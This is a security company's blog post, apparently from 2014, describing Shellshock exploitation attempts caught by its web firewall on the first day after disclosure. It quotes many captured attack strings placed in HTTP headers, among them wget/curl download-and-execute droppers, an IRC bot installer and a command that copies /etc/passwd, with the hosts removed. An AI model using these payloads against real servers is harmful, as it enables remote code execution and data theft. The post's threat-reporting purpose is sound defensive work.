Bash – ShellShocker – Attacks Increase in the Wild – Day 1

3 minute read

The Bash ShellShocker vulnerability was first disclosed to the public yesterday, 2014/Sep/24. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via it’s Zero Day response mechanism. This allowed us to to create sinkholes to start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c x22uname -ax22"

"() { :;}; echo vulnerable' bash -c x22ls /x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget -O /tmp/.osock;  else /usr/bin/wget -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c x22cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jurx22"

All being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget"

() { :;}; echo shellshock-scan > /dev/udp/"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e x22Content-Type: text/plainx5Cnx22; echo qQQQQQq"

() { :; }; ping -c 17" "() { :; }; ping -c 17" 

() { :;}; /bin/bash -c x22/usr/bin/wget -O /tmp/a.plx22"

() { :;}; echo; /usr/bin/id" ""

() { :;}; /usr/bin/env curl -s   > /dev/null" "() { :;}; /usr/bin
/env curl -s  > /dev/null"

() { :;}; /bin/env curl -s  > /dev/nu

() { :;}; /bin/bash -c x22wget"

() { :;}; wget" 

() { :; }; curl"

() { test;};/usr/bin/wget -O ~/cgi-bin/APM.mp3"

And even via email:

() { :; }; mail -s x22Your filesx22

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

The most targeted URLs have been:


We will keep monitoring and we will post more details as we go.

If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to

Many might be using the CloudFlare Free product, please note that you are not protected from this with their Free product as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

Spotlight on Women in Cybersecurity

less than 1 minute read

Sucuri is committed to helping women develop their careers in technology. On International Women’s Day, Sucuri team members share their insights into workin...

Hacked Website Trend Report – 2018

less than 1 minute read

We are proud to be releasing our latest Hacked Website Trend Report for 2018. This report is based on data collected and analyzed by the GoDaddy Security / ...